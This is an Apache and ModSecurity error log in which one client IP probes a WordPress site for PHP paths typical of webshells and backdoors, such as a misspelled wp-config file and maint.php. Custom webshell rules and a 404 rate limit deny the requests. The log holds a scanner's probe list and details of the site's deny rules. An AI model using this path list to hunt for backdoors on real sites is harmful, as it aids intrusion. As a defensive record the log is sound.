[Sun Mar 01 23:46:27.002479 2026] [:error] [pid 38034:tid 38040] [client 20.104.124.39:1677] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaRfUwxtfZjwlJok9K80pQAAAQQ"]
[Sun Mar 01 23:46:29.156455 2026] [:error] [pid 40750:tid 40755] [client 20.104.124.39:1665] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaRfVQfBuk03yQKDyqup4QAAAcI"]
[Sun Mar 01 23:46:31.920987 2026] [:error] [pid 7165:tid 7188] [client 20.104.124.39:1709] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaRfVxRjCrA8qWBjgG_KcwAAAlU"]
[Sun Mar 01 23:46:32.586714 2026] [:error] [pid 7133:tid 7156] [client 20.104.124.39:1681] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aaRfWPCtubh8pR64qB99RgAAAFU"]
[Sun Mar 01 23:46:33.692924 2026] [:error] [pid 40750:tid 40772] [client 20.104.124.39:1694] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaRfWQfBuk03yQKDyqup8gAAAdM"]
[Sun Mar 01 23:46:35.704861 2026] [:error] [pid 38034:tid 38054] [client 20.104.124.39:1777] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaRfWwxtfZjwlJok9K80qgAAARA"]
[Sun Mar 01 23:46:38.656544 2026] [:error] [pid 38241:tid 38250] [client 20.104.124.39:1735] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaRfXvKRPk6YnJBxw_xaSwAAAMY"]
[Sun Mar 01 23:46:40.109096 2026] [:error] [pid 38241:tid 38245] [client 20.104.124.39:1775] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaRfYPKRPk6YnJBxw_xaUAAAAME"]
[Sun Mar 01 23:46:41.399440 2026] [:error] [pid 38241:tid 38265] [client 20.104.124.39:26984] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaRfYfKRPk6YnJBxw_xaVAAAANU"]
[Sun Mar 01 23:46:42.735400 2026] [:error] [pid 7133:tid 7144] [client 20.104.124.39:1766] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaRfYvCtubh8pR64qB99SwAAAEk"]
[Sun Mar 01 23:46:44.325896 2026] [:error] [pid 37032:tid 37050] [client 20.104.124.39:1785] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaRfZOu0U4o7eSImsVSWmwAAAZA"]
[Sun Mar 01 23:46:46.447968 2026] [:error] [pid 7165:tid 7176] [client 20.104.124.39:1778] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaRfZhRjCrA8qWBjgG_KlgAAAkk"]
[Sun Mar 01 23:46:49.203154 2026] [:error] [pid 7165:tid 7179] [client 20.104.124.39:1783] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaRfaRRjCrA8qWBjgG_KrQAAAkw"]
[Sun Mar 01 23:46:50.530412 2026] [:error] [pid 7165:tid 7176] [client 20.104.124.39:26999] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaRfahRjCrA8qWBjgG_KswAAAkk"]
[Sun Mar 01 23:46:52.659571 2026] [:error] [pid 7165:tid 7187] [client 20.104.124.39:1784] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaRfbBRjCrA8qWBjgG_KuwAAAlQ"]
[Sun Mar 01 23:46:55.346180 2026] [:error] [pid 37032:tid 37041] [client 20.104.124.39:26981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aaRfb-u0U4o7eSImsVSWqgAAAYc"]
[Sun Mar 01 23:47:01.092232 2026] [:error] [pid 38241:tid 38245] [client 20.104.124.39:1737] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaRfdfKRPk6YnJBxw_xadAAAAME"]
[Sun Mar 01 23:47:05.668916 2026] [:error] [pid 40750:tid 40773] [client 20.104.124.39:1692] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaRfeQfBuk03yQKDyquqWwAAAdQ"]
[Sun Mar 01 23:47:10.020092 2026] [:error] [pid 40750:tid 40762] [client 20.104.124.39:1776] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/install.php"] [unique_id "aaRffgfBuk03yQKDyquqbwAAAck"]
[Sun Mar 01 23:47:11.995297 2026] [:error] [pid 33822:tid 33846] [client 20.104.124.39:1789] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lv.php"] [unique_id "aaRff26W3ygu1YVssuZG4wAAApY"]
[Sun Mar 01 23:47:14.748998 2026] [proxy_fcgi:error] [pid 33822:tid 33844] [client 20.104.124.39:1682] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:16.173862 2026] [proxy_fcgi:error] [pid 33822:tid 33825] [client 20.104.124.39:1682] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:16.392421 2026] [proxy_fcgi:error] [pid 33822:tid 33842] [client 20.104.124.39:1682] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:16.608957 2026] [proxy_fcgi:error] [pid 33822:tid 33845] [client 20.104.124.39:1682] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:16.846269 2026] [:error] [pid 33822:tid 33824] [client 20.104.124.39:1682] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaRfhG6W3ygu1YVssuZG9QAAAoA"]
[Sun Mar 01 23:47:18.618590 2026] [proxy_fcgi:error] [pid 7165:tid 7167] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:18.841202 2026] [proxy_fcgi:error] [pid 7165:tid 7190] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:19.050289 2026] [proxy_fcgi:error] [pid 7165:tid 7175] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:19.260092 2026] [proxy_fcgi:error] [pid 7165:tid 7183] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:19.468154 2026] [proxy_fcgi:error] [pid 7165:tid 7181] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:19.687021 2026] [proxy_fcgi:error] [pid 7165:tid 7180] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:20.244035 2026] [proxy_fcgi:error] [pid 7165:tid 7172] [client 20.104.124.39:1708] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:47:20.486839 2026] [:error] [pid 7165:tid 7185] [client 20.104.124.39:1708] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaRfiBRjCrA8qWBjgG_LWwAAAlI"]
[Sun Mar 01 23:47:23.441951 2026] [:error] [pid 40750:tid 40776] [client 20.104.124.39:1676] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaRfiwfBuk03yQKDyquqgAAAAdc"]
[Sun Mar 01 23:47:27.263535 2026] [:error] [pid 7165:tid 7184] [client 20.104.124.39:26944] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaRfjxRjCrA8qWBjgG_LdAAAAlE"]
[Sun Mar 01 23:47:31.838061 2026] [:error] [pid 7133:tid 7136] [client 20.104.124.39:26962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaRfk_Ctubh8pR64qB993gAAAEE"]
[Sun Mar 01 23:47:37.315048 2026] [:error] [pid 33822:tid 33844] [client 20.104.124.39:1699] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaRfmW6W3ygu1YVssuZHDgAAApQ"]
[Sun Mar 01 23:47:40.361716 2026] [:error] [pid 38241:tid 38267] [client 20.104.124.39:26947] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaRfnPKRPk6YnJBxw_xanAAAANc"]
[Sun Mar 01 23:47:46.361037 2026] [:error] [pid 33822:tid 33837] [client 20.104.124.39:1743] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aaRfom6W3ygu1YVssuZHHAAAAo0"]
[Sun Mar 01 23:47:48.388740 2026] [:error] [pid 7133:tid 7155] [client 20.104.124.39:26995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaRfpPCtubh8pR64qB99_gAAAFQ"]
[Sun Mar 01 23:47:51.231218 2026] [:error] [pid 7133:tid 7156] [client 20.104.124.39:1770] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaRfp_Ctubh8pR64qB9-CAAAAFU"]
[Sun Mar 01 23:47:52.217705 2026] [:error] [pid 40750:tid 40774] [client 20.104.124.39:1715] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaRfqAfBuk03yQKDyquqzAAAAdU"]
[Sun Mar 01 23:47:54.687163 2026] [:error] [pid 7165:tid 7177] [client 20.104.124.39:1790] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaRfqhRjCrA8qWBjgG_LzQAAAko"]
[Sun Mar 01 23:47:58.025634 2026] [:error] [pid 38241:tid 38262] [client 20.104.124.39:1685] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaRfrvKRPk6YnJBxw_xasQAAANI"]
[Sun Mar 01 23:48:04.268731 2026] [:error] [pid 37032:tid 37034] [client 20.104.124.39:1717] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaRftOu0U4o7eSImsVSWzQAAAYA"]
[Sun Mar 01 23:48:08.234608 2026] [:error] [pid 38241:tid 38253] [client 20.104.124.39:27007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aaRfuPKRPk6YnJBxw_xaxAAAAMk"]
[Sun Mar 01 23:48:12.657738 2026] [:error] [pid 38241:tid 38247] [client 20.104.124.39:1764] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaRfvPKRPk6YnJBxw_xazwAAAMM"]
[Sun Mar 01 23:48:18.153784 2026] [:error] [pid 7165:tid 7173] [client 20.104.124.39:1705] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaRfwhRjCrA8qWBjgG_MMQAAAkY"]
[Sun Mar 01 23:48:21.481331 2026] [proxy_fcgi:error] [pid 37032:tid 37057] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:21.731319 2026] [proxy_fcgi:error] [pid 37032:tid 37035] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:21.943508 2026] [proxy_fcgi:error] [pid 37032:tid 37048] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:22.155460 2026] [proxy_fcgi:error] [pid 37032:tid 37037] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:22.365182 2026] [proxy_fcgi:error] [pid 37032:tid 37058] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:23.513560 2026] [proxy_fcgi:error] [pid 37032:tid 37051] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:23.725269 2026] [proxy_fcgi:error] [pid 37032:tid 37055] [client 20.104.124.39:1758] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:48:24.957038 2026] [:error] [pid 37032:tid 37041] [client 20.104.124.39:1758] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaRfyOu0U4o7eSImsVSXFQAAAYc"]
[Sun Mar 01 23:48:31.847092 2026] [:error] [pid 40750:tid 40772] [client 20.104.124.39:1781] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaRfzwfBuk03yQKDyqursgAAAdM"]
[Sun Mar 01 23:48:32.956028 2026] [:error] [pid 38241:tid 38256] [client 20.104.124.39:1753] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaRf0PKRPk6YnJBxw_xbAgAAAMw"]
[Sun Mar 01 23:48:33.690482 2026] [:error] [pid 40750:tid 40774] [client 20.104.124.39:26973] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaRf0QfBuk03yQKDyquruwAAAdU"]
[Sun Mar 01 23:48:36.182163 2026] [:error] [pid 37032:tid 37052] [client 20.104.124.39:1687] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aaRf1Ou0U4o7eSImsVSXJAAAAZI"]
[Sun Mar 01 23:48:38.647197 2026] [:error] [pid 38034:tid 38048] [client 20.104.124.39:1686] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aaRf1gxtfZjwlJok9K81JwAAAQo"]
[Sun Mar 01 23:48:43.631519 2026] [:error] [pid 33822:tid 33841] [client 20.104.124.39:1727] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aaRf226W3ygu1YVssuZHTAAAApE"]
[Sun Mar 01 23:48:50.621994 2026] [:error] [pid 7165:tid 7176] [client 20.104.124.39:26953] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aaRf4hRjCrA8qWBjgG_MawAAAkk"]
[Sun Mar 01 23:48:54.232187 2026] [:error] [pid 38241:tid 38268] [client 20.104.124.39:1729] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aaRf5vKRPk6YnJBxw_xbNAAAANg"]
[Sun Mar 01 23:48:59.022720 2026] [:error] [pid 40750:tid 40776] [client 20.104.124.39:1761] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aaRf6wfBuk03yQKDyqusAAAAAdc"]
[Sun Mar 01 23:49:01.662626 2026] [:error] [pid 7165:tid 7187] [client 20.104.124.39:1689] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aaRf7RRjCrA8qWBjgG_MkAAAAlQ"]
[Sun Mar 01 23:49:03.941829 2026] [:error] [pid 7133:tid 7152] [client 20.104.124.39:1757] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaRf7_Ctubh8pR64qB9-VgAAAFE"]
[Sun Mar 01 23:49:05.713645 2026] [:error] [pid 7133:tid 7156] [client 20.104.124.39:26907] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaRf8fCtubh8pR64qB9-WgAAAFU"]
